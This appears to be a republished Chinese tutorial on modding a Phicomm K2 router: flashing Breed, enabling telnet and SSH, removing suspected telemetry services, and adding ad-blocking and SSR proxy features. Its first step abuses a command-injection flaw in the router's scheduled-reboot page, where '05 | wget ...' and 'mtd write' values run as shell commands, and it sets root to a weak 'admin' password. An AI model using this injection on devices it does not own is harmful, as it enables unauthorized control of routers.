斐讯K2 刷breed、第三方固件及开启telnet、ssh方法,含原版固件净化、新增功能 | 您所在的位置:网站首页 › 纳米盒app是什么软件 › 斐讯K2 刷breed、第三方固件及开启telnet、ssh方法,含原版固件净化、新增功能 |
固件发布页面: http://iytc.net/wordpress/?p=1772 jd拿了个免费的斐讯K2: 软件版本: 22.4.5.42 设备型号: K2 硬件版本: A2 据说有收集用户信息的问题: 12 需要刷第三方固件或对原版固件进行净化处理
1、刷breed breed类似uboot,用于路由器的引导,刷了breed后,可以方便的刷第三方固件 这里使用的是利用网页执行脚本的漏洞安装breed 便携机无线连接K2,K2 WAN口连internet,先保证可以正常上网 用Firefox,傲游,Chrome等登录http://192.168.2.1 选择右上角的“定时重启路由器” 点选时间中的右侧下拉分钟选择框,鼠标箭头(手势)放在05上,点击鼠标右键,在Firefox或傲游浏览器“审查元素”(傲游浏览器先按“F12”按键打开审查页面后再点击定时重启): 双击"05",改为你要执行的命令: 改为: 05 | wget http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin 在定时重启路由器页面上重新选择05之后(这里要注意,一定要重选,并且重选后可以看到05后面自己输入的字符): 点击“保存”按钮后,就相当于K2执行了wget获取文件的命令。 重复上述过程,分别改为: 05 | mtd unlock Bootloader 05 | mtd -r write breed-mt7620-phicomm-psg1208.bin Bootloader 上述操作是利用漏洞执行了3条命令,下载breed并写入bootloader,最后一次保存后,路由器会写breed并重启。 如果路由器没有自动重启,说明操作过程有误,请仔细检查操作过程。 你可以用此方法让K2执行任何命令(比如下面的安装SSH的命令)。
进入Breed方法: 拔除K2上Wan口的网线,路由器断电,持续按住路由器上的reset按钮,接通路由器电源,3秒后松开reset按钮。 在浏览器地址栏输入“http://192.168.1.1”访问Breed Web。 进入Breed Web后,请及时进行原始EEPROM、固件备份,然后再刷其他的固件。 如果不想刷其他第三方固件,想对原版固件进行净化,继续往下处理: 开启telnet方法(此步骤可省,可直接用WEB漏洞安装SSH): 先用breed备份eeprom文件,将备份出来的文件用ultraedit修改: 将0x26、0x27位置修改为10、70,然后通过breed的“固件更新”写入修改的eeprom 重启后可用telnet 192.168.2.1进入shell界面(无密码): 或者可以用web漏洞直接执行: /usr/sbin/telnetd -l /bin/login.sh 也可以开启telnet
安装SSH: telnet登录后执行(其实ssh也可以通过WEB漏洞来安装,可以省去安装telnet步骤): opkg install http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/base/dropbear_2014.63-2_ramips_24kec.ipk # 开机自启 /etc/init.d/dropbear enable # 更改root密码为 admin echo -e 'admin\nadmin' | passwd root # 启动 /etc/init.d/dropbear start 原版固件的净化:
进shell后,先把定时任务干掉
第一个任务比较可疑,半夜两点上传数据? winscp找到/usr/lib/lua/luci/tools/scheduletask.lua文件 修改luci.sys.call("cp -f %s %s > /dev/null" % {defaultrule,crontabpath}) 为 --luci.sys.call("cp -f %s %s > /dev/null" % {defaultrule,crontabpath}) luci.sys.call("touch %s" % {crontabpath})
再看有没有可疑网络程序 禁用可疑程序: /etc/init.d/lc stop /etc/init.d/lc disable http_event_inform是厂家远程管理的tr069程序 /etc/init.d/tr069 stop /etc/init.d/tr069 disable 查看可疑进程: 禁用可疑程序: /etc/init.d/collect stop /etc/init.d/collect disable
telnet不安全,把telnet也禁掉: /etc/init.d/telnetd_startup stop /etc/init.d/telnetd_startup disable
重启后网络进程清爽了: 备份修改以后的固件:
去除鼠标右键限制: /usr/lib/lua/luci/view/themes/bootstrap/header.htm 找到 oncontextmenu=self.event.returnValue=false 删除
增加功能,比如要增加一个定时开关WIFI的功能(睡觉时间自动将WIFI关闭) 如果是通过shell几行命令就搞定了,我们搞复杂点,实现通过web来配置: 打开/usr/lib/lua/luci/view/themes/bootstrap/header.htm 找到 定时重启路由器 在下面增加: 定时重启WIFI 界面上会出现新增菜单: 依葫芦画瓢修改header.htm增加配置界面: 还需依照/etc/config/timereboot、/usr/lib/lua/luci/controller/admin/timereboot.lua增加相应文件,省略一万字... 所有实现此功能需要修改的文件打包如下,有兴趣者可以参考: K2
软件包添加 现在我们尝试增加一个广告屏蔽的软件包adbyby 首先增加一个控制界面,还是修改/usr/lib/lua/luci/view/themes/bootstrap/header.htm 找到,在此语句上方添加: 广告屏蔽 再依葫芦画瓢修改/usr/lib/lua/luci/view/admin_index/index.htm文件: else if(v == "adbyby") { nhref = ""; $(tbsid).html("广告屏蔽") } 增加/usr/lib/lua/luci/controller/admin/adbyby.lua、/usr/lib/lua/luci/model/cbi/adbyby.lua、/etc/config/adbyby等文件,文件内容可以对应目录powersave的内容进行修改。 刷新界面,出现新菜单: 修改的文件包如下: adbyby 界面修改后,需加入adbyby的可执行文件,由于adbyby的文件较大,而原版固件的剩余空间较少,只有500多K: 因此需进行变通,有人做了一个在ram中运行的adbyby版本: 12 占用flash空间只有20多K,由于程序未开源,有一定风险,安装: opkg install http://tianbao.sf.net/adbyby 开启 tb ad on 关闭 tb ad off 开启后,程序下载http://update.adbyby.com/download/7620n.tar.gz到/tmp(ram),再解压到/tmp/adbyby运行: /tmp/adbyby/bin/adbyby 规则更新URL在/tmp/adbyby/bin/update.info文件 程序会启动一个tbb程序来定时(间隔123秒)检查下载规则 参考此程序的过程,我们可以创建一个脚本文件,比如/root/adbyby.sh,内容如下: cd /tmp #等待网络连接成功 wget_ok="0" rm -f 7620n.tar.gz while [ "$wget_ok" = "0" ] do wget http://update.adbyby.com/download/7620n.tar.gz if [ "$?" == "0" ]; then wget_ok="1" else sleep 30 fi done #解压、启动adbyby mkdir -p adbyby tar -zvxf 7620n.tar.gz -C ./adbyby cd ./adbyby/bin ./startadbb 修改文件权限为755,我们可以将/root/adbyby.sh加入到自启文件/etc/rc.local中,开启自动启动,不过由于要控制adbyby启动和停止,因此最好创建一个服务,新建/etc/init.d/adbyby #!/bin/sh /etc/rc.common START=80 start() { /root/adbyby.sh & } stop() { cd /tmp/adbyby/bin ./stopadbb } restart() { stop start } 修改权限为755,执行/etc/init.d/adbyby enable将服务加入自启动 下一步是将界面和可执行文件关联起来。此部分主要修改/usr/lib/lua/luci/model/cbi/adbyby.lua文件,控制adbyby的停止与运行,以及读取规则文件日期,修改文件如下: adbyby 修改的所有文件打包如下: k2_mod
完整的修改后的固件如下: firmware_k2_blue_adbyby ssh用户名:root ssh及web密码:admin
可以用两种方式烧写此固件: 1、解压后winscp上传到K2路由器的/tmp目录,然后ssh执行“mtd -r write /tmp/firmware_k2_blue_adbyby.bin firmware”即可 2、解压后可以在breed中直接烧写此固件 adbyby功能验证: K2界面显示adbyby运行状态显示“运行中”: 打开优酷视频(http://www.youku.com/),点击一个视频浏览,会自动跳过广告。
下面继续尝试加入SSR for Openwrt K2原版固件虽然只剩下500多K空间,不过由于K2自带了libopenssl和libpcre库,因此还是可以装下SSR的 首先重新用openwrt 14.07 SDK编译源码项目: 12 将编译好的luci-app-shadowsocksR-Client_1.2.1_all.ipk安装到K2,注意K2需修改/etc/opkg.conf,改为正确的源地址: src/gz barrier_breaker_base http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/base src/gz barrier_breaker_packages http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/packages src/gz barrier_breaker_luci http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/luci src/gz barrier_breaker_routing http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/routing src/gz barrier_breaker_management http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/management 然后opkg update后再安装。 按照上面添加adbyby的方法在K2界面上添加SSR界面:
还有一点比较奇怪的是lua中不能使用“o.rmempty = false”语句了,如果使用就出错,需要把所有此语句删除。 一顿大改后,功能基本正常了,界面还需调整。 界面调整修改/www/luci-static/bootstrap/css/cbi.css,增加一些样式:
检查SSR的功能,发现防火墙规则没有起来,问题出在ipset上,运行ipset,提示错误: root@K2:~# ipset list ipset v6.20.1: Cannot open session to kernel. 搜索openwrt,发现并没有K2固件中的3.10.14内核版本,google搜索发现3.10.14为MTK出的一个openwrt版本: 12 下载后重新编译所需要的各个ipk 编译成功后,lsmod可以发现能够加载ipset模块了,但是运行还是报错: root@K2:~# ipset list ipset v6.30: Kernel error received: message could not be created 还是不行,可能是内核原因,无解了 准备回到解放前,用iptables一条条的添加防火墙规则 好不容易把SSR给折腾成功了,目前的ssr特性: 支持两种dns解析方式: 1、远程解析:本地域名是被污染的,由远程ssr服务器进行二次解析,本地不对dns做处理 2、pdnsd解析:用支持tcp方式的dns隧道进行gfw列表站点的解析,在本地能获取到正确的域名对应的IP地址 采用路由方式进行代理:中国网段的IP不走代理;中国以外的IP走透明代理访问; 在实际测试时发现一个问题,由于设置ssr后,要对dnsmasq进行重启,日志中会打印大量gfw列表的信息: Mon Feb 20 19:32:44 2017 daemon.info dnsmasq[6760]: using nameserver 127.0.0.1#5353 for domain 1984bbs.org Mon Feb 20 19:32:44 2017 daemon.info dnsmasq[6760]: using nameserver 127.0.0.1#5353 for domain 1984bbs.com Mon Feb 20 19:32:44 2017 daemon.info dnsmasq[6760]: using nameserver 127.0.0.1#5353 for domain 1949er.org .. gfw列表有4000多条,打印信息较多,在其他openwrt可能只占用几秒的CPU处理时间,但是在K2上发现CPU占用100%(0% idle)的时间达到90秒! 没办法,重新编译了一个dnsmasq,屏蔽打印输出,替换K2的/usr/sbin/dnsmasq文件
未完待续。。 |
CopyRight 2018-2019 实验室设备网 版权所有 |